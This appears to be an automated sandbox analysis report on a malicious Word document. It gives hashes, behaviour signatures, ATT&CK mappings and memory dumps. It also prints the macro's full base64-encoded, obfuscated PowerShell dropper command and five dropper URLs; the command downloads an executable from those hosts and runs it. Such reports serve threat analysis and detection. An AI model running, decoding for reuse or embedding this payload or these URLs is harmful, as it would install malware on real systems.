ddfc1e80e8eb4c0ece096788b0ca80f9e2a2fa55011dd42e2deca7cf9e498c3e

General

Target

fb9c7a466c950f3c483a9e2d4eb05c55_JaffaCakes118.doc
Size

70KB
MD5

fb9c7a466c950f3c483a9e2d4eb05c55
SHA1

1703d2c9619a4abdf81327c5fbf7c61aae404d33
SHA256

ddfc1e80e8eb4c0ece096788b0ca80f9e2a2fa55011dd42e2deca7cf9e498c3e
SHA512

8421edafe4076beea85089bb60cc0ef79f6b04258cc7c10de0e3769f34684b2be1326f621c90dba32af58f07e64580ee32cf6c1b43f2869be4ee506c3f116be0
SSDEEP

768:CsqxsVHHnW/PtcrnMDqkFAGV7yg3yWRrtehxg7sJf1BG3jWRxdCj+3mHWCV:ZqwHHEPGQDpFHV7y0yWRry7RwGCV

Score

10^/10

discovery

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://aistra.lt/lTexwuBi/

exe.dropper

http://erikploeg.nl/KS/

exe.dropper

http://czarny-las.pl/nowa/vUcTmwA/

exe.dropper

http://datagroup.com.uy/lLcJnNv/

exe.dropper

http://ericalaurell.se/mUeQsM/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process	2804	620	powershell.exe	29

Blocklisted process makes network request 4 IoCs

flow	pid	Process
5	2804	powershell.exe
8	2804	powershell.exe
10	2804	powershell.exe
12	2804	powershell.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Office loads VBA resources, possible macro or embedded object present

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
620	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2804	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2804	powershell.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
620	WINWORD.EXE
620	WINWORD.EXE

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 620 wrote to memory of 2804	620	WINWORD.EXE	30
PID 620 wrote to memory of 2804	620	WINWORD.EXE	30
PID 620 wrote to memory of 2804	620	WINWORD.EXE	30
PID 620 wrote to memory of 2804	620	WINWORD.EXE	30
PID 620 wrote to memory of 2712	620	WINWORD.EXE	33
PID 620 wrote to memory of 2712	620	WINWORD.EXE	33
PID 620 wrote to memory of 2712	620	WINWORD.EXE	33
PID 620 wrote to memory of 2712	620	WINWORD.EXE	33

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\fb9c7a466c950f3c483a9e2d4eb05c55_JaffaCakes118.doc"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:620
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e JAB7AHcAYABTAEMAcgBpAGAAUABUAH0AIAA9ACAALgAoACIAewAwAH0AewAyAH0AewAxAH0AIgAgAC0AZgAnAG4AZQB3AC0AbwBiAGoAJwAsACcAdAAnACwAJwBlAGMAJwApACAALQBDAG8AbQBPAGIAagBlAGMAdAAgACgAIgB7ADAAfQB7ADEAfQB7ADIAfQAiACAALQBmACcAVwAnACwAJwBTAGMAcgBpAHAAdAAuAFMAaABlACcALAAnAGwAbAAnACkAOwAkAHsAdwBlAGAAQgBjAGwAYABJAGUAYABOAHQAfQAgAD0AIAAmACgAIgB7ADIAfQB7ADMAfQB7ADEAfQB7ADAAfQAiAC0AZgAgACcAdAAnACwAJwBqAGUAYwAnACwAJwBuACcALAAnAGUAdwAtAG8AYgAnACkAIAAoACIAewAwAH0AewAzAH0AewAxAH0AewAyAH0AIgAgAC0AZgAgACcAUwB5AHMAdABlAG0ALgBOAGUAdAAnACwAJwBiAEMAbABpAGUAbgAnACwAJwB0ACcALAAnAC4AVwBlACcAKQA7ACQAewByAEEAbgBgAGQAYABPAE0AfQAgAD0AIAAmACgAIgB7ADEAfQB7ADIAfQB7ADMAfQB7ADAAfQAiACAALQBmACcAZQBjAHQAJwAsACcAbgAnACwAJwBlACcALAAnAHcALQBvAGIAagAnACkAIAAoACIAewAyAH0AewAwAH0AewAxAH0AIgAgAC0AZgAnAGEAJwAsACcAbgBkAG8AbQAnACwAJwByACcAKQA7ACQAewBVAGAAUgBsAFMAfQAgAD0AIAAoACIAewAyADMAfQB7ADgAfQB7ADkAfQB7ADEAOQB9AHsAMgA2AH0AewAxADEAfQB7ADIAMAB9AHsANAB9AHsAMAB9AHsAMwB9AHsAMQAwAH0AewAxADgAfQB7ADUAfQB7ADIANAB9AHsAMQA0AH0AewAxADMAfQB7ADIAMQB9AHsAMQB9AHsAMQA2AH0AewAxADcAfQB7ADIANwB9AHsAMgB9AHsAMQAyAH0AewAyADUAfQB7ADIAMgB9AHsANwB9AHsANgB9AHsAMQA1AH0AIgAgAC0AZgAnAC8ASwBTAC8ALABoAHQAdABwADoALwAvAGMAegAnACwAJwBnAHIAbwB1AHAALgBjAG8AbQAuAHUAeQAnACwAJwAvAGUAcgAnACwAJwBhACcALAAnAGgAdAB0AHAAOgAvAC8AZQByAGkAawBwAGwAbwBlAGcALgBuAGwAJwAsACcAcwAuAHAAbAAvAG4AbwB3AGEAJwAsACcAbQBVAGUAJwAsACcAZQBsAGwALgBzAGUALwAnACwAJwAvAGEAaQAnACwAJwBzAHQAcgBhACcALAAnAHIAbgB5ACcALAAnAGkALwAnACwAJwBpAGMAYQBsAGEAJwAsACcAaAB0AHQAcAA6ACcALAAnAFQAbQB3AEEALwAsACcALAAnAFEAcwBNAC8AJwAsACcALwAnACwAJwBsAEwAYwBKAG4ATgAnACwAJwAtAGwAYQAnACwAJwAuAGwAdAAnACwAJwAsACcALAAnAC8ALwBkAGEAdABhACcALAAnAHIAJwAsACcAaAB0AHQAcAA6AC8AJwAsACcALwB2AFUAYwAnACwAJwB1ACcALAAnAC8AbABUAGUAeAB3AHUAQgAnACwAJwB2AC8ALABoAHQAdABwADoALwAnACkALgAoACIAewAwAH0AewAxAH0AIgAgAC0AZgAgACcAUwBwACcALAAnAGwAaQB0ACcAKQAuAEkAbgB2AG8AawBlACgAJwAsACcAKQA7ACQAewBOAEEAYABNAEUAfQAgAD0AIAAkAHsAcgBhAGAATgBgAGQATwBNAH0ALgAoACIAewAwAH0AewAxAH0AIgAtAGYAIAAnAG4AJwAsACcAZQB4AHQAJwApAC4ASQBuAHYAbwBrAGUAKAAxACwAIAA2ADUANQAzADYAKQA7ACQAewBwAGEAYABUAEgAfQAgAD0AIAAkAHsAZQBuAHYAOgBgAFQARQBgAE0AUAB9ACAAKwAgACcAXAAnACAAKwAgACQAewBOAGAAQQBNAGUAfQAgACsAIAAoACIAewAxAH0AewAwAH0AIgAgAC0AZgAnAGUAeABlACcALAAnAC4AJwApADsAZgBvAHIAZQBhAGMAaAAoACQAewB1AGAAUgBsAH0AIABpAG4AIAAkAHsAVQBSAGAATABzAH0AKQB7AHQAcgB5AHsAJAB7AHcAYABFAEIAYwBMAEkAZQBgAE4AVAB9AC4AKAAiAHsAMgB9AHsAMQB9AHsAMAB9ACIALQBmACcAZQAnACwAJwBpAGwAJwAsACcARABvAHcAbgBsAG8AYQBkAEYAJwApAC4ASQBuAHYAbwBrAGUAKAAkAHsAdQBgAFIATAB9AC4AKAAiAHsAMAB9AHsAMgB9AHsAMQB9ACIAIAAtAGYAJwBUACcALAAnAHQAcgBpAG4AZwAnACwAJwBvAFMAJwApAC4ASQBuAHYAbwBrAGUAKAApACwAIAAkAHsAUABhAGAAVABIAH0AKQA7AC4AKAAiAHsAMAB9AHsAMQB9AHsAMgB9AHsAMwB9ACIAIAAtAGYAJwBTAHQAYQByAHQALQBQACcALAAnAHIAbwBjACcALAAnAGUAJwAsACcAcwBzACcAKQAgACQAewBwAGEAYABUAEgAfQA7AGIAcgBlAGEAawA7AH0AYwBhAHQAYwBoAHsAJgAoACIAewAwAH0AewAyAH0AewAxAH0AIgAgAC0AZgAnAHcAcgBpACcALAAnAGUALQBoAG8AcwB0ACcALAAnAHQAJwApACAAJAB7AF8AfQAuACIAZQBgAHgAQwBlAHAAYABUAEkAbwBOACIALgAiAE0ARQBgAHMAcwBgAEEAZwBlACIAOwB9AH0ADQAKAA==
  2⤵
  - Process spawned unexpected child process
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2804
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:2712

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

Filesize
19KB

MD5
ab050efca36752c94170edd33083e718

SHA1
2af053efcebea3dc3b245d9260b5b6206dca2843

SHA256
8f754631e0145f7b925a26d3b968bba7284020eec749ffdf5de33a5903c23657

SHA512
ce0d15e275ad9f8ab03b4ab3dc6487775c90af3b8bae329ac9d7dbc3e373f385dde1772687686ff4a3a35305a3f28ee779b59a8ed2c262634402151ea19749b4

Download Submit
memory/620-13-0x0000000000490000-0x0000000000590000-memory.dmp

Filesize
1024KB

Download
memory/620-4-0x0000000000490000-0x0000000000590000-memory.dmp

Filesize
1024KB

Download
memory/620-27-0x0000000000490000-0x0000000000590000-memory.dmp

Filesize
1024KB

Download
memory/620-43-0x0000000000490000-0x0000000000590000-memory.dmp

Filesize
1024KB

Download
memory/620-6-0x0000000000490000-0x0000000000590000-memory.dmp

Filesize
1024KB

Download
memory/620-7-0x0000000000490000-0x0000000000590000-memory.dmp

Filesize
1024KB

Download
memory/620-9-0x0000000000490000-0x0000000000590000-memory.dmp

Filesize
1024KB

Download
memory/620-11-0x0000000000490000-0x0000000000590000-memory.dmp

Filesize
1024KB

Download
memory/620-10-0x0000000000490000-0x0000000000590000-memory.dmp

Filesize
1024KB

Download
memory/620-12-0x0000000000490000-0x0000000000590000-memory.dmp

Filesize
1024KB

Download
memory/620-8-0x0000000000490000-0x0000000000590000-memory.dmp

Filesize
1024KB

Download
memory/620-0-0x000000002F971000-0x000000002F972000-memory.dmp

Filesize
4KB

Download
memory/620-65-0x0000000000490000-0x0000000000590000-memory.dmp

Filesize
1024KB

Download
memory/620-2-0x0000000070EFD000-0x0000000070F08000-memory.dmp

Filesize
44KB

Download
memory/620-5-0x0000000000490000-0x0000000000590000-memory.dmp

Filesize
1024KB

Download
memory/620-42-0x0000000000490000-0x0000000000590000-memory.dmp

Filesize
1024KB

Download
memory/620-33-0x0000000000490000-0x0000000000590000-memory.dmp

Filesize
1024KB

Download
memory/620-26-0x0000000000490000-0x0000000000590000-memory.dmp

Filesize
1024KB

Download
memory/620-24-0x0000000000490000-0x0000000000590000-memory.dmp

Filesize
1024KB

Download
memory/620-19-0x0000000000490000-0x0000000000590000-memory.dmp

Filesize
1024KB

Download
memory/620-47-0x0000000070EFD000-0x0000000070F08000-memory.dmp

Filesize
44KB

Download
memory/620-48-0x0000000000490000-0x0000000000590000-memory.dmp

Filesize
1024KB

Download
memory/620-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/620-63-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/620-64-0x0000000070EFD000-0x0000000070F08000-memory.dmp

Filesize
44KB

Download
memory/620-23-0x0000000000490000-0x0000000000590000-memory.dmp

Filesize
1024KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads